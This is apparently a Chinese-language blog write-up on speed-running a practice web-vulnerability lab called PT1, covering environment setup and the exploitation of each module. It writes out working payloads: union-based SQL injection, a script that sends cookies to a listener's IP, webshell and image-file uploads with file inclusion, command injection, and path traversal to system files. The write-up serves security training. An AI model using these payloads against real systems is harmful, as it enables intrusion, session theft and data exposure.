"PT1靶场速通"这标题,我自己看到第一反应就是——又有人蹲在调试环境上卡了半天。PT1这个东西,严格来说不是某个官方出品,更像是一类综合型Web漏洞靶场的代称,常见形态是把OWASP Top 10里那套高发漏洞按照"关卡+提示"的方式打包进一个PHP应用里,让你从信息收集一路打到命令执行。我这次速通的PT1版本是朋友给的集成包,里面塞了SQL注入、XSS、文件上传、爆破、命令执行等十几个模块,目标是八小时内全通。
这篇不是什么官方文档,就是我自己的实战记录。适合刚学完Web安全基础、想在动手层面补课的人,也适合那些已经搭过Pikachu或DVWA、想换个综合环境练手的老手。不管你是想快速走一遍漏洞利用流程,还是想借着靶场把BurpSuite、SQLMap这些工具练熟,看这一篇基本够了。
1. 速通之前,先弄明白PT1的靶场结构
1.1 PT1到底是什么类型的靶场
PT1这个名字本身并没有一个官方的定义,我了解的PT1通常是安全培训班或者内部实验室里流传的一套Web综合靶场,部署形态就是一个PHP工程加MySQL数据库,跑在集成环境上。相比DVWA那种按难度分级的教育型靶场,PT1更像Pikachu的加强版——每个漏洞点都是一个独立模块,页面上会明确告诉你这个模块考察什么,甚至给一点payload提示,但不会像DVWA那样直接给代码审计入口,很多信息需要你自己去抓包、翻前端代码才能拿到。
所以PT1的通关思路和Pikachu高度相似。你要做的不是"到处扫漏洞",而是"按模块逐个触发漏洞"。这一点很关键,因为不少人一上来就拿扫描器全目录扫,结果把靶场自带的一些提示文件翻出来,反而忽视了每个模块本身的设计意图,白白浪费时间。
拿我自己举例,第一次碰PT1的时候,我先把目录扫描器挂上,扫了一堆php、bak、txt文件出来,开心了半天,结果发现那些文件都是靶场自带的备份文件,对通关屁用没有。后来我老老实实从首页菜单点进去,才发现每个模块的入口和提示都写得清清楚楚,十秒钟就能定位目标。速通的本质,是理解靶场设计者的出题思路,而不是跟靶场硬碰硬。
1.2 通关逻辑和判定标准
PT1这类靶场通常没有非常严格的"通关判定",核心标准就是"每个漏洞模块的利用结果是否达成预期"。比如SQL注入模块,判定标准可能是"能否拿到数据库里的flag字符串";XSS模块则是"能否在页面上成功弹出弹窗或完成指定的cookie窃取动作";文件上传模块就是"能否上传一个可执行的webshell"。
这种判定逻辑决定了一个事儿:速通不追求"全面深入",追求的是"最短路径到达每一个漏洞触发点"。所以第一步是摸清整个靶场有哪些模块、每个模块的入口在哪里、用什么参数触发。我通常的做法是先手动点一遍所有导航菜单,把每个页面的URL和行为记下来,再翻一遍前端JS和隐藏表单字段,把可能的参数全部列出来。这个过程看着笨,但比拿扫描器硬扫快得多,而且能帮你理解每个模块的交互逻辑。
PT1的各个模块之间还有一个有意思的设计:部分模块的利用结果会互相联动。比如文件上传模块传上去了一个webshell,接下来命令执行模块就可以直接调用这个shell去执行命令,而不需要单独再打一遍。这种联动关系在速通里特别值得利用,能省下不少重复测试的时间。
1.3 速通前的环境和工具准备
磨刀不误砍柴工。PT1靶场速通,环境上基本就是一套本地集成环境(我用的phpstudy),一个数据库客户端(Navicat或者命令行MySQL都行),再加BurpSuite作为抓包改包主力。浏览器我建议装一个带SwitchyOmega的Firefox或者Chrome,把代理指向Burp的127.0.0.1:8080,这样动静都看得到。
还需要准备一些顺手的小工具:SQLMap可以留着打复杂注入点,但前面几个简单模块尽量手注,不然你根本不知道SQLMap在干什么;一个本地起好的nc用于监听反弹shell或者接收XSS的cookie;密码字典准备一份精简的top100就够了,别一上来跑几百万的大字典,靶场爆破模块的验证码逻辑通常很弱,top100足够。
我这套环境准备了不到二十分钟,其中大部分时间花在找PHP版本兼容性上,这个后面会详细说。但准备工具的时候有一点想提醒:千万不要在速通过程中频繁换工具。我见过有人手注到一半嫌慢,切了SQLMap,SQLMap跑了半天又切回手注,结果两头都没搞明白。一个环节一个工具,想清楚这个环节要验证什么,再决定用什么,反倒快得多。
2. 搭建和启动阶段:环境坑位逐个填
2.1 部署形态和版本兼容性
PT1的源码包拿到手后,常见的部署方式就是解压到phpstudy的WWW目录,导入SQL文件,改数据库配置,然后访问地址。说起来简单,但实际坑不少。我拿到的那版PT1是基于PHP 5.6开发的,里面用了一些老函数和写法,放到PHP 7.4或者8.0上直接报错或者白屏。
这里最重要的建议是:先看源码包里的说明文件,确定目标PHP版本。如果说明文件没写,就看代码里的函数。比如看到mysql_connect这样的老函数,基本就是PHP 5.x;看到mysqli或者PDO,PHP 5.6到7.x都能跑。我在速通时直接给phpstudy切到PHP 5.6,一次性搞定。
还有个容易忽略的点是phpstudy的端口占用。PT1默认可能跑在80或者8080端口,如果你机器上装了其他Web服务,或者Windows的IIS、SQL Server Reporting Services之类的服务占用了80端口,phiStudy就会提示启动失败。解决方式很简单,在phpstudy里改一下端口,比如改成81,然后访问http://localhost:81,把靶场的数据库配置文件里如果有写死端口的地方也同步改掉就行。
2.2 数据库导入与配置常见坑
SQL文件导入失败是另一个高频问题。PT1的SQL文件通常比较大,里面还可能带着触发器和存储过程,用phpMyAdmin导入经常超时或者编码乱掉。我建议直接用命令行导入,MySQL 5.7版本下执行,效率高且不容易出幺蛾子。导入之前先在数据库管理工具里建好空库,注意字符集选utf8mb4,不然中文数据全是问号。
具体导入命令大概长这样:
mysql -uroot -proot -e "create database pt1 default charset utf8mb4;" mysql -uroot -proot pt1 < /path/to/pt1.sql第一行建库,第二行导入数据。如果你本地的MySQL密码不是root,把命令里的密码改成你自己的就行。这一步看着简单,但能在速通开始前省下大把时间——我见过太多人卡在phpMyAdmin导入超时上,反复导了四五次都没成功,最后换命令行一分钟搞定。
数据库配置文件一般叫config.php或者conn.php,里面是数据库名、用户名、密码三个参数。改配置时最容易踩的坑是密码里面有特殊字符,比如@或者#,phpstudy默认的MySQL root密码是root,如果你自己改过,记得同步把配置文件也改了。还有一个细节:如果用命令行导入时指定了字符集,但网页访问还是乱码,那就要检查config.php里有没有set names utf8这类的设置,没有的话手动加上。
2.3 靶场访问后白屏或者报错
如果访问靶场首页直接白屏,多半是PHP版本不对或者缺少扩展。常见缺少的扩展有php_gd2、php_curl、php_mbstring,这些在phpstudy的扩展管理里勾上就行。如果是开启报错后看到某个函数未定义,就去查对应的扩展装没装。
还有一种情况:首页出来了,但是点某个模块进去直接404或者跳转到安装页面。这种一般是路径配置问题,PT1源码里有的模块用了绝对路径,比如/PT1/xxx.php,如果你把目录名改了,就会404。建议保持目录名和源码包一致,别手贱改成中文目录名,我之前在Windows下用中文目录名跑过一次,结果一堆路径拼接直接崩了。
再补充一个报错排查技巧:如果页面出现"mysqli_connect(): (HY000/2002)"这类错误,说明数据库连接失败。这时候挨个检查MySQL服务有没有启动、数据库名对不对、用户名密码匹配不匹配、端口是不是3306(如果改过端口,配置里也要改)。这三板斧下来,九成数据库连接问题都能解决。
2.4 用Docker部署PT1的备选方案
除了本地集成环境,现在很多PT1的版本也支持Docker部署。如果你不想在Windows上装一堆乱七八糟的运行库,Docker其实是更干净的选择。Docker方式部署PT1通常只需要两样东西:一个官方或第三方做好的镜像,一个MySQL容器。启动命令大概类似这样:
docker pull 某个PT1镜像 docker run -d -p 8080:80 --name pt1-web 某个PT1镜像 docker run -d -p 3306:3306 --name pt1-db -e MYSQL_ROOT_PASSWORD=root mysql:5.7两行命令把Web和数据库都拉起来,然后再进入Web容器导入SQL文件,比手动配环境快多了。但Docker方式也有坑,最大的坑是容器里的PHP版本和数据库连接配置多半要手动改,尤其要确认Web容器里能不能连通数据库容器的IP和端口。我个人的建议是:如果电脑性能还行、硬盘空间也够,直接本地集成环境最省心;如果环境很乱、装的东西太多,Docker反而干净好收拾。
3. 正式速通:逐模块实测路线
3.1 第一站:信息收集与登录入口分析
PT1首页一般会有一个欢迎页面,列出所有模块。我的习惯是先用浏览器的开发者工具看一下页面的网络请求,把登录入口、隐藏字段、注释信息都翻一遍。别小看这一步,PT1很多模块的提示就藏在HTML注释里,比如某个参数叫"pass"、某个接口校验不严。
登录模块在PT1里一般有两种:一种是基于表单的暴力破解,一种是带有图形验证码的弱口令测试。针对基于表单的爆破,直接抓包看提交参数,然后用BurpSuite的Intruder模块跑top100字典。密码常见的就是admin/admin123、test/test、root/root这一套,基本两三分钟就能过。带验证码的那个模块,先看看验证码能不能复用,有的靶场验证码是前端生成的,不绑定session,那你直接把上一次的验证码值重复提交就行,这属于设计缺陷,但靶场嘛,考察的就是你有没有这个意识。
登录入口分析还有一个容易被忽略的地方:响应头里的Set-Cookie和跳转路径。有些登录模块虽然账号密码不对,但会在Set-Cookie里泄露出一些用户信息,或者通过302跳转暴露后台地址。用BurpSuite的History面板把所有请求过一遍,这些细节特别容易成为突破口。
3.2 SQL注入模块:手注优先,工具殿后
PT1的SQL注入模块通常会做两到三个点,数字型注入和字符型注入各一个,再加一个搜索框注入。数字型最简单,直接在URL后面加and 1=1和and 1=2判断差异,如果结果集不一样,就确定存在注入。字符型的要先把单引号闭合好,比如在参数后面加',看是否报错,再用or 1=1--+绕过。
这里分享一个速通小技巧:PT1的SQL模块多半是竖直排列的,不需要在"判断字段数"上花太多时间。直接order by n一个个试,n从1试到10,一般3到5个字段就出来了。字段数确定后就是union select,注意占位符要填够,比如字段数是5,那union select 1,2,3,4,5,看哪几个数字回显在页面上,再替换成敏感函数。信息库名用database(),版本用version(),表名就是group_concat(table_name) from information_schema.tables。
以数字型注入点为例,整个流程走一遍大概是:
# 第一步:判断注入 ?id=1 and 1=1 -- 正常返回数据 ?id=1 and 1=2 -- 无返回或页面异样 # 第二步:判断字段数 ?id=1 order by 3 -- 返回正常 ?id=1 order by 4 -- 报错,说明字段数为3 # 第三步:确认回显位 ?id=-1 union select 1,2,3 -- 页面上出现2和3,那就替换它们 # 第四步:拖库名和表名 ?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables注意第三步那个-1,为什么不是1?因为正常查询id=1时会返回数据,UNION后面查询的结果会拼接在后面,页面可能只显示第一条数据,看不到注入结果。把id改成-1让前面查不到数据,UNION的查询结果就直接显示出来了。这个细节特别重要,很多人卡在这里,以为注入不成功,其实只是没有把前面的数据清空而已。
SQLMap当然也能打,但我在PT1速通时只在最后一个搜索框注入上用了它,因为那个点有过滤,手注要绕半天。SQLMap命令就是sqlmap -u "目标URL" --batch --dbs,跑出库名后进去拖表。跑的时候注意加--dbms=mysql,不然它默认各种数据库都测一遍,浪费时间。用SQLMap确认了注入点之后,再针对过滤规则手写一个绕过payload,这样反而比纯手工快很多。
3.3 XSS模块:从反射到存储
XSS模块在PT1里一般四个点:反射型、存储型、DOM型、还有一个小饼干窃取。反射型最简单,直接在输入框提交 ,如果弹窗,说明存在反射型XSS且没有过滤。存储型则要注意提交后在哪个页面显示,通常提交到留言板后,后台管理页面会加载,你插的脚本会在管理员查看时执行——这就是存储型XSS的完整链路。
DOM型XSS比较考验前端功底。它不走服务端过滤,完全是前端JS把URL参数取出来拼到页面上导致的。用浏览器开发者工具看Sources里的JS,找哪里用了location、href、document.write之类的函数,然后构造URL去触发。PT1里的DOM型模块一般会给一个输入点,你输入的内容会出现在页面的某个DOM节点里,但它不会提交给后端,所以要直接在浏览器的地址栏构造payload,而不是依赖表单提交。
小饼干窃取模块就是典型的存储型XSS加外部接收:你在输入框提交一个带<img src=http://你本机IP:端口/xx?c=document.cookie>的payload,注意这里要用HTML实体或者拼接方式绕过过滤,然后在你本机用nc监听端口,等管理员触发后收到cookie。这个模块在速通时最值得做,因为能帮你把"XSS盗cookie"的流程走通,后面做真实渗透的时候思路也开阔。
具体操作里,我用的nc监听命令是:
nc -lvp 8888然后在留言框提交类似这样的payload:
<script>document.location='http://192.168.1.100:8888/?c='+document.cookie</script>等后台管理员(或你自己在另一个浏览器里触发)访问到这条留言,nc那边就会收到一个带cookie的HTTP请求。收到cookie之后你可以试着把cookie手动注入到浏览器里,看看能不能登录管理员后台——这一步在PT1里通常能直接解锁一个隐藏模块,算是个彩蛋。
3.4 文件上传与命令执行:组合拳
文件上传模块一般给两个关卡,第一关是只校验后缀名,第二关会检查Content-Type或者文件头。第一关直接传一个test.php,内容是短标签或者完整标签都行,访问上传后的文件路径,加参数cmd=ipconfig(Windows靶场)或者cmd=id(Linux靶场)验证执行。这一步走通了,基本就等于拿到半个shell了。
第二关就讲究了。如果后端检查Content-Type,你就在Burp里把上传请求的Content-Type改成image/png,这个好绕。如果检查文件头,那就在PHP代码前面加上GIF89a,组成图片马,再用文件包含或者解析漏洞去执行。PT1这个靶场里通常还配了一个文件包含模块,专门配合图片马用——你把图片马传上去,然后在文件包含模块里包含它,PHP代码就会被解析执行,一条链路直接打通。
文件包含模块的利用方式一般是这样的:
?page=/var/www/html/upload/xxx.jpg或者相对路径:
?page=../upload/xxx.jpg重点在于你得知道图片马传上去之后存到了哪个路径。路径可以通过翻页面的源码注释、观察上传后的跳转、或者看上传成功的回显信息来判断。我在PT1里就是先从上传成功的响应里找到了图片的访问地址,然后让文件包含模块去包含这个地址,PHP代码顺利执行,命令注入也顺势就通了。
命令执行模块更直接,就是一个Ping测试功能,很多靶场喜欢拿它考察命令注入。你提交一个127.0.0.1;id或者127.0.0.1|whoami,如果命令结果回显出来,那就是命令注入。注意分号、管道符、&&这些符号各自的意义,靶场里有的过滤了分号但没过滤管道符,多试几种组合,别在一个符号上死磕。
如果在Ping功能里试了各种符号都没反应,还有一个思路:换一个注入点。命令执行模块不一定只在Ping功能里,页面上可能有另一个输入框是执行系统命令的,或者是一个可控的include参数。把整个模块里的所有参数都列出来,挨个试一遍,总有一个能弹回显。我速通时就是在Ping功能里卡了十几分钟,最后发现旁边的"系统信息"按钮请求里带了一个cmd参数,直接命令执行了。
3.5 越权、目录遍历和其他小关卡
除了上面几个主模块,PT1一般还把越权、目录遍历、敏感信息泄露这些点做成小关卡。越权就是直接改URL里的ID,看能不能访问别人的订单或者个人信息,考察的是你有没有"改参数试试"的意识。目录遍历则是经典的点,../配合编码反复试,看能不能读到靶场自身的配置文件。
越权模块在PT1里的形态通常是一个"查看用户详情"的功能,URL长这样:
/user/detail.php?id=1当你把它改成id=2、id=3、id=100,如果能看到其他用户的手机号或者密码字段,这就是水平越权。如果你还能看到管理员专属的操作按钮,那就更严重了,是垂直越权。这类关卡不需要复杂的payload,纯粹考验你有没有耐心把参数一个个试完。
目录遍历的测试套路是:
/file/download.php?filename=test.txt 改成: /file/download.php?filename=../../../../etc/passwdWindows靶场则试:
/file/download.php?filename=..\..\..\..\windows\win.ini如果页面直接明文回显文件内容,说明目录遍历成功。有些靶场会做简单的过滤,比如把../替换成空,那就试试..././这种绕过方式,或者用URL编码%2e%2e%2f。反正这类题目不需要太多技巧,耐心试就能出结果。
这些奇技淫巧在速通里占比不大,但非常考验细心程度。我的经验是:每个页面都手动改一遍URL里的数字参数,每个输入框都提交一次超长字符串或者特殊符号看反应,花了不了多少时间,但经常能白捡几个flag。速通不是看你大招多华丽,而是看你能不能把最简单的事情做到位。
4. 高频坑位与排查技巧
4.1 BurpSuite抓不到靶场的包
这个问题超级常见。靶场跑在本地,代理也配好了,但是BurpSuite就是抓不到请求,页面直接报错或者卡住不加载。原因九成是代理配置和Burp监听端口不匹配:Burp的Proxy监听的是127.0.0.1:8080,浏览器代理也必须是127.0.0.1:8080,如果浏览器用了自动配置脚本或者代理插件指向了别的端口,当然抓不到。
另一个原因是浏览器的代理插件默认排除了本地地址。Chrome和Firefox都有"对本地地址不代理"的逻辑,你在浏览器代理设置里访问localhost或者127.0.0.1时,流量根本不走代理,直接绕过Burp了。解决方法是手动把本地地址加入代理列表,或者访问的时候用本机局域网IP(比如192.168.1.100)代替localhost,这样就能强制走代理了。
还有一个细节:BurpSuite默认只监听127.0.0.1,如果靶场的访问地址是192.168.x.x,也会抓不到。这时候去Proxy Settings的Bind to address改成All interfaces,同时把Inspector里的HTTP和HTTPS都勾上,问题就解决了。再有就是有些靶场页面用了WebSocket通信,这部分请求在HTTP history里看不到,需要去WebSocket history标签看。
4.2 页面回显乱码与编码问题
速通PT1时遇到页面上一堆中文乱码,十有八九是数据库字符集没设对。导入SQL之前,建库时选utf8mb4,导入后再检查一下config里的连接字符集设置,有些老代码会在连接数据库后手动执行set names gbk,这也会导致前后端字符集不一致。
编码问题还会影响注入判断。如果页面里全是乱码,你根本看不出and 1=2以后结果有没有变化,这时候可以先不管编码,直接靠响应包长度做对比。BurpSuite里把两个请求发到Comparer里,对比响应长度和关键词差异,乱码也能判断出注入点存不存在。
比如你在Burp里分别发送id=1 and 1=1和id=1 and 1=2这两个请求,即使页面显示乱码,只要响应包长度不同,就能确认存在注入。这是个非常实用的技巧,尤其是面对老靶场等常见中文乱码环境时,可比硬着头皮看乱码页面高效多了。
4.3 靶场被改坏之后的恢复
速通过程中最容易做的事就是把靶场改坏。SQL注入把某个表删了、上传了一个报错的webshell、XSS脚本把页面布局搞乱,这些都可能导致后面模块没法继续测。我在PT1上至少毁了三次环境,前两次老老实实重新导入数据库,第三次聪明了。
我的恢复套路是这样的:数据库文件在源码包里通常有个类似pt1.sql的文件,在MySQL命令行里直接source导入,一分钟搞定;如果页面文件被污染,那就对照源码包里同名文件覆盖回去。所以速通之前务必先把原始源码包备份一份,路径就在D盘或者U盘上放着,改坏了就覆盖,比重新解压快得多。
还有一个小技巧:建库的时候不要直接用pt1这个名字,可以建一个pt1_bak,先把原始数据导入进去,然后把config.php指向这个备份库。这样即使主库被你删得乱七八糟,只要改一下config指向就能秒恢复,不用重新导入SQL。这个套路我在后来的Pikachu和DVWA练习里也一直用,真心推荐。
4.4 常见的判断失误与心理坑
速通最大的敌人不是技术,是心理。很多人卡在一个模块超过二十分钟,就开始怀疑自己,然后疯狂翻工具书、看教程,但问题往往特别简单——参数名看错了、payload里多了一个空格、引号转义不对。我的建议是设定一个"十五分钟规则":单个模块超过十五分钟还没进展,就停下来,把请求包重新看一遍,把报错信息复制到搜索引擎里精确查一下,很多时候一眼就能发现问题。
另外就是别频繁切工具。手注到一半觉得慢就开SQLMap,SQLMap跑了半天又切回手注,这样两头都没搞好。想清楚你当前的判定条件是什么,是"确认注入点"还是"拖取数据",再决定用什么工具,一个环节一个工具,速通反而快。
最后说一句:很多人一卡住就急着搜"PT1 通关教程",但网上的教程大多是别人当时的截图和思路,环境细节跟你手里这版不一定一致。与其满世界找标准答案,不如自己把报错信息和页面表现读透。速通练的就是这种快速定位和试错的能力,被卡住的每一分钟都是这种能力在长肉的阶段。
5. 通关后的复盘:比速通本身更重要的事
5.1 每关都重建一遍攻击链
速通通关不代表你掌握了,老实说,我第一遍速通PT1很多模块都是"试出来的",比如XSS那个payload是网上抄的、SQL注入的字段顺序是猜的。所以通关后我又花了一个晚上,把每个模块的攻击链从头到尾在笔记本上画了一遍:入口是什么、用了什么参数、提交了什么payload、为什么这个payload能生效、如果后端做了过滤该怎么绕过。
这个过程才是真正长本事的地方。靶场里的payload大多是理想情况,真实环境会有WAF、有过滤、有各种业务逻辑限制,你能不能在靶场里把一个payload的每一个字符都搞明白,直接决定了你在实战里遇到拦截时能不能改出来能绕过的变体。
比如SQL注入里的#和--+就是两个完全不同的注释写法,PT1的某个模块可能只认#,换个模块可能只认--+。如果你在复盘时把这两种写法的差异和适用场景弄清楚,以后再遇到类似过滤规则就不会两眼一抹黑。我把这种复盘笔记称为"最小可利用payload库",不追求大而全,只记录自己真正验证过能生效的东西。
5.2 进阶方向与扩展练习
PT1速通完之后,如果想继续往深处走,我推荐几个方向。第一个是把PT1装到Docker里,配合Metasploit做内网渗透的入口,因为靶场本身就是个Web应用,拿下一个WebShell后可以试着提权、内网横向,这比单纯刷Web漏洞有意思得多。第二个是去Vulnhub上找几个类似难度的Linux靶场(比如DC系列)练手,它们会考到服务探测、漏洞利用、提权这些更加综合的技能。第三个是把PortSwigger的Web Security Academy的题目按模块刷一遍,那个是纯英文的在线靶场,题目质量很高,而且每道题都附了官方思路讲解,查缺补漏非常合适。
当然,如果目标是打CTF比赛,那PT1这种靶场只能算入门前的热身,后续需要把重点转向逆向、加密、流量分析这些方向。但Web方向的基本功,在这类综合靶场里打好底子,总比一上来就刷复杂题目要扎实得多。
我在实际速通PT1的时候,最大的感受不是"我多会挖洞",而是"我多会安排自己的排查顺序"。速通这种事儿,环境准备好、思路捋顺了,一个下午就能打完;反过来,环境卡三个小时、每个模块都试一半放弃,那就一周也通不了。所以这篇文里我写的每个坑,几乎都对应着我自己的真实失误,希望能帮你把踩坑时间省下来,用到该用的地方去。速通的终点不是通关截图,是你真的把一个payload从头到尾想明白了。共勉。